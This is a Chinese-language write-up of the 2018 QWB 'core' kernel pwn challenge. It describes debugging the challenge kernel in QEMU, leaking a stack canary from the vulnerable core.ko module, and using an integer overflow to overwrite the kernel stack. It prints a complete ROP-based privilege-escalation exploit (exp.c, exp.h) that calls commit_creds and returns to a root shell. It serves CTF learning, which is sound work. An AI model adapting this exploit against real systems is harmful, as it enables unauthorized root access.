题目:2018-qwctf-core_give
拿到压缩包后发现vmlinux
文件,就不需要手动解包了,然后解包core.cpio
包,得到core目录如下:
└── core
├── bin
├── etc
├── lib
│ └── modules
│ └── 4.15.8
│ └── kernel
│ ├── arch
│ │ └── x86
│ │ └── kvm
│ ├── drivers
│ │ ├── thermal
│ │ └── vhost
│ ├── fs
│ │ └── efivarfs
│ └── net
│ ├── ipv4
│ │ └── netfilter
│ ├── ipv6
│ │ └── netfilter
│ └── netfilter
├── lib64
├── proc
├── root
├── sbin
├── sys
├── tmp
└── usr
├── bin
└── sbin
重点关注对象:start.sh
#这里需要修改一下允许内存大小,不然会运行不起来
#指定shell解释器,不然会报错找不到pushd命令
#这里因为开启了kaslr也就是随机地址,但是为了方便调试就先关闭一下,后面记得改回来
#这里不能使用-kvm ,我在调试的时候会发生调试动不了的情况,貌似是因为该文件系统已经指定了x86的kvm(这里我费了好久时间我还在想为什么调试不了。。。。)
#!/bin/zsh
gcc exp.c -g -w -static -o core/exp
pushd core
find . | cpio -o --format=newc > ../core.cpio
popd
#-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 原
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \ #新增参数 ,为了方便终止进程使用ctrl+c即可终止,不然就需要手动kill -9 PID去杀死
core/init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #这里是重点,将进程地址信息 转移到了 /tmp/kallstms 这样普通用户就可以读取kallsyms内容了
echo 1 > /proc/sys/kernel/kptr_restrict #普通用户不能查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict #普通用户不能通过lsmod查看ko地址
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #内涵加载的模块
#poweroff -d 120 -f & #这里去掉关机
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh #这里在调试的时候可以使用root查看ko基地值,但是前面去掉了kasrl所以这里也可以不需要改,看个人习惯
echo 'sh end!\n'
umount /proc
umount /sys
#poweroff -d 0 -f #去掉关机
那么小改上面的文件后就可以对内核进行调试了,但是只能单步调试和断点调试,因为附件提供的core.ko
文件没有符号表,实测如下:
单步运行没问题:
next发生报错:
保护
分析
这里通过proc
虚拟文件节点方式创建了一个内核通信通道,同样的手法还有通过dev
设备文件节点实现内核通信
结构体定义如下
core_ioctl:
core_read:
core_copy_func:
core_write:
总结如下:
core_read
有一个输出信息可以进行泄漏canary
coew_write
+ core_copy_func
可实现将数据写入到栈中(可使用整型溢出绕过size的检测)
思路
因为为了调试,前面关闭了kaslr
,可以先暂时不用计算具体地址,将环境rop打通后再计算偏移地址即可
保存用户态+泄漏canary
int main(){
save();
int fd = open("/proc/core",2);
int offset = get_offset();
//###################leak canary#############################################
char buf[0x40]; //这里开辟0x40的空间 防止后面read时栈溢出
setOff(fd,0x40); //canary的偏移为0x40
reads(fd,buf); //将数据读入buf
size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
printf("canary -> %p\n",canary); //打印读入数据
通过整型溢出绕过size检查
//###################rop #############################################
size_t rop[0x100] = {0}; //初始化栈空间数据
int i = 8;
rop[i++] = canary; //偏移为0x40
rop[i++] = 0; //rbp //实际调试时rbp位置
rop[i++] = POP_RDI + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
rop[i++] = &getRoot;
rop[i++] = SWAPGS + offset;
rop[i++] = 0;
rop[i++] = &intoUserStatus;
write(fd,rop,sizeof(rop)); //向bss->name 写入数据
copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
//这里注意下因为qmemcpy(&v2, &name, (unsigned __int16)size);使用的是int16所以实际只取到了0x0100,
}
在去掉kasrl
后这里的POP_RFI、MOV_CR4_RDI
都可以通过ROPgadget中得到,getRoot的函数地址也是同样在内核中可以通过cat /tmp/kallsyms | grep "commit_creds"
exp.h
#include<stdio.h>
#include<unistd.h>
#define POP_RDI 0xffffffff81000b2f
#define MOV_CR4_RDI 0xffffffff81075014 //: mov cr4, rdi ; push rdx ; popfq ; ret
//#define prepare_kernel_cred 0xffffffff8109cce0 //内核中cat tmp/kallsyms | grep prepare_kernel_cred
//#define commit_creds 0xffffffff8109c8e0 //同上
#define SWAPGS 0xffffffff81a012da //: swapgs ; popfq ; ret
long long commit_creds;
long long prepare_kernel_cred;
long long vmlinux_base;
//###########################util##########################
size_t user_cs,user_ss,user_sp,user_flags;
void save(){
asm(
"mov %cs , user_cs;" //cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
void getRoot(){
char* ((*pkc)(int)) = prepare_kernel_cred;
void ((*cc)(char*)) = commit_creds;
(*cc)((*pkc)(NULL));
}
void getShell(){
execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
: "r"(user_ss) ,"r"(user_sp) ,"r"(user_flags) , "r"(user_cs) ,"r"(&getShell)
);
}
此时在没有地址随机时就可以完成提权了(具体细节再修补一下)
上面就完成了rop的搭建现在就只需要计算具体地址的偏移就可以了
这里使用pwntools计算偏移
就很方便
有了相对偏移后再得到commit_creds
的真实地址后即得到模块的基地址
获取真实地址:
int get_offset(){
FILE* fd = fopen("/tmp/kallsyms","r");
char buff[100];
while(1){
if(fgets(buff,100,fd))
{
if(strstr(buff,"commit_creds")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&commit_creds);
}
if(strstr(buff,"prepare_kernel_cred")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&prepare_kernel_cred);
}
}
else
break;
}
vmlinux_base = commit_creds - 0x9c8e0;
printf("commit_creds -> %llx\n",commit_creds);
printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
printf("vmlinux_base-> %llx\n",vmlinux_base);
fclose(fd);
return vmlinux_base - 0xffffffff81000000;
}
有了偏移后即得指定具体的POP_RDI
完整exp:
exp.c
#include "exp.h"
//###########################func##########################
void reads(int fd, char * buf){
ioctl(fd,0x6677889B,buf);
}
void setOff(int fd,size_t size){
ioctl(fd,0x6677889C,size);
}
void copy(int fd,size_t size){
ioctl(fd,0x6677889A,size);
}
int get_offset(){
FILE* fd = fopen("/tmp/kallsyms","r");
char buff[100];
while(1){
if(fgets(buff,100,fd))
{
if(strstr(buff,"commit_creds")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&commit_creds);
}
if(strstr(buff,"prepare_kernel_cred")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&prepare_kernel_cred);
}
}
else
break;
}
vmlinux_base = commit_creds - 0x9c8e0;
printf("commit_creds -> %llx\n",commit_creds);
printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
printf("vmlinux_base-> %llx\n",vmlinux_base);
fclose(fd);
return vmlinux_base - 0xffffffff81000000;
}
//###########################main##########################
int main(){
save();
int fd = open("/proc/core",2);
int offset = get_offset();
//###################leak canary#############################################
char buf[0x40]; //这里开辟0x40的空间 防止后面read时栈溢出
setOff(fd,0x40); //canary的偏移为0x40
reads(fd,buf); //将数据读入buf
size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
printf("canary -> %p\n",canary); //打印读入数据
//###################rop #############################################
size_t rop[0x100] = {0};
int i = 8;
rop[i++] = canary;
rop[i++] = 0; //rbp //实际调试时rbp位置
rop[i++] = POP_RDI + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
rop[i++] = &getRoot;
rop[i++] = SWAPGS + offset;
rop[i++] = 0;
rop[i++] = &intoUserStatus;
write(fd,rop,sizeof(rop)); //向bss->name 写入数据
copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
}
getshell
参考资料:https://lantern.cool/note-pwn-kernel-rop/#%E5%88%86%E6%9E%90